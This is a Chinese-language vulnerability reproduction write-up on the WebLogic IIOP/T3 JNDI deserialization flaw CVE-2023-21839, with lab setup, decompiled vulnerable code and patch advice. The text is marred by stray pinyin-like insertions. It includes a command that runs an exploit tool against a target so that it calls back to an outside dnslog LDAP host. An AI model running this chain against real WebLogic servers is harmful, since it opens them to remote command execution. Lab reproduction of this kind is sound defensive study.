前言
序列化(Serialization):將對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^程,一般將對(duì)象轉(zhuǎn)換為字節(jié)流。序列化時(shí),對(duì)象的當(dāng)前狀態(tài)被寫入到臨時(shí)或持久性存儲(chǔ)區(qū)(文件、內(nèi)存、數(shù)據(jù)庫等)。
反序列化(Deserialization):從序列化的表示形式中提取數(shù)據(jù),即把有序字節(jié)流恢復(fù)為對(duì)象的過程
反序列化攻擊:攻擊者控制了序列化后的數(shù)據(jù),將有害數(shù)據(jù)傳遞到應(yīng)用程序代碼中,發(fā)動(dòng)針對(duì)應(yīng)用程序的攻擊
Weblogic簡介
WebLogic是美國Oracle公司出品的一個(gè)application server,確切的說是一個(gè)基于JAVAEE架構(gòu)的中間件,WebLogic是用于開發(fā)、集成、部署和管理大型分布式Web應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫應(yīng)用的Java應(yīng)用服務(wù)器。
漏洞詳情
由于Weblogic IIOP/T3協(xié)議存在缺陷,當(dāng)IIOP/T3協(xié)議開啟時(shí),允許未經(jīng)身份驗(yàn)證的攻擊者通過IIOP/T3協(xié)議網(wǎng)絡(luò)訪問攻擊存在安全風(fēng)險(xiǎn)的WebLogic Server,漏洞利用成功WebLogic Server可能被攻擊者接管執(zhí)行任意命令導(dǎo)致服務(wù)器淪陷或者造成嚴(yán)重的敏感數(shù)據(jù)泄露。
漏洞影響版本
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
環(huán)境搭建
在vulhub社區(qū)更新了此漏洞,直接拉取該環(huán)境即可
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
下載地址:https://github.com/vulhub/vulhub
clone下載項(xiàng)目:git clone https://github.com/vulhub/vulhub.git
cd weblogic //進(jìn)入weblogic文件夾
cd CVE-2023-21839 //進(jìn)入CVE-2023-21839漏洞文件夾
docker-compose up -d //開啟漏洞環(huán)境,拉取鏡像
docker ps //查看當(dāng)前docker運(yùn)行情況,可以看到該漏洞環(huán)境已經(jīng)開啟
訪問http://your-ip:7001/console,可以看到登錄界面
漏洞復(fù)現(xiàn)
漏洞解析:
ForeignOpaqueReference是OpaqueReference接口的實(shí)現(xiàn)類。在ForeignOpaqueReference類中聲明了兩個(gè)私有變量:jndiEnvironment和remoteJNDIName,同時(shí)聲明了兩個(gè)構(gòu)造方法,在有參構(gòu)造方法中接收env和remoteJNDIName,并分別賦值給了上面的兩個(gè)私有類變量。
ForeignOpaqueReference類的getReferent()方法是OpaqueReference接口的實(shí)現(xiàn)方法,在getReferent()方法中,retVal = context.lookup(this.remoteJNDIName); 對(duì)本類remoteJNDIName變量中的JNDI地址進(jìn)行遠(yuǎn)程加載,導(dǎo)致了反序列化漏洞
package weblogic.jndi.internal;
//進(jìn)入反序列化
public class ForeignOpaqueReference implements OpaqueReference, Serializable {
private Hashtable jndiEnvironment;
private String remoteJNDIName;
......
public ForeignOpaqueReference(String remoteJNDIName, Hashtable env) {
this.remoteJNDIName = remoteJNDIName;
this.jndiEnvironment = env;
}
public Object getReferent(Name name, Context ctx) throws NamingException {
InitialContext context;
if (this.jndiEnvironment == null) {
context = new InitialContext();
} else {
Hashtable properties = this.decrypt();
context = new InitialContext(properties);
}
Object retVal;
try {
retVal = context.lookup(this.remoteJNDIName); // 漏洞點(diǎn)
} finally {
context.close();
}
return retVal;
}
......
}
getReferent()調(diào)用分析
package weblogic.jndi;
public interface OpaqueReference {
Object getReferent(Name var1, Context var2) throws NamingException;
String toString();
}
OpaqueReference 接口有兩個(gè)抽象方法:getReferent() 和 toString();
ForeignOpaqueReference 類的 getReferent() 方法調(diào)用在WLNamingManager類中。
在 WLNamingManager 類的 getObjectInstance() 方法中,當(dāng)傳入的 boundObject 對(duì)象實(shí)現(xiàn)了 OpaqueReference 接口時(shí),則會(huì)調(diào)用該對(duì)象的 getReferent() 方法,即 boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);。
正如上方提到的 ForeignOpaqueReference 類實(shí)現(xiàn)了 OpaqueReference 接口,因此會(huì)調(diào)用該類中的 getReferent() 方法,導(dǎo)致反序列化代碼執(zhí)行漏洞。
package weblogic.jndi.internal;
public final class WLNamingManager {
public static Object getObjectInstance(Object boundObject, Name name, Context ctx, Hashtable env) throws NamingException {
if (boundObject instanceof ClassTypeOpaqueReference) {
......
} else if (boundObject instanceof OpaqueReference) {
boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);
} else if (boundObject instanceof LinkRef) {
...
}
}
}
CVE-2023-21839是在反序列化過程中沒有進(jìn)行惡意操作,在完成反序列化過程后執(zhí)行了漏洞類ForeignOpaqueReference中g(shù)etReferent()方法中的lookup()才觸發(fā)的漏洞。
其中,Context的lookup方法是用來查找指定名稱的對(duì)象的,它接受一個(gè)字符串參數(shù),返回一個(gè)Object對(duì)象,如果沒有找到指定名稱的對(duì)象,則返回null,我們則利用此點(diǎn)觸發(fā)反序列化漏洞。
這里我直接使用dnslog進(jìn)行測試
下載漏洞檢測工具用于測試是否存在該漏洞
https://github.com/4ra1n/CVE-2023-21839
使用官方提供的工具需要使用go語言編譯
cd cmd
go build -o CVE-2023-21839.exe
使用dnslog檢測
CVE-2023-21839.exe -ip 192.168.31.230 -port 7001 -ldap ldap://2qdt3z.dnslog.cn
至此,dnslog有回顯證明漏洞存在文章來源:http://www.zghlxwxcb.cn/news/detail-470100.html
修復(fù)方式
1.下載最新補(bǔ)丁,鏈接:https://support.oracle.com/rs?type=doc&id=2917213.2
2.限制T3協(xié)議訪問文章來源地址http://www.zghlxwxcb.cn/news/detail-470100.html
到了這里,關(guān)于Weblogic反序列化(CVE-2023-21839)漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!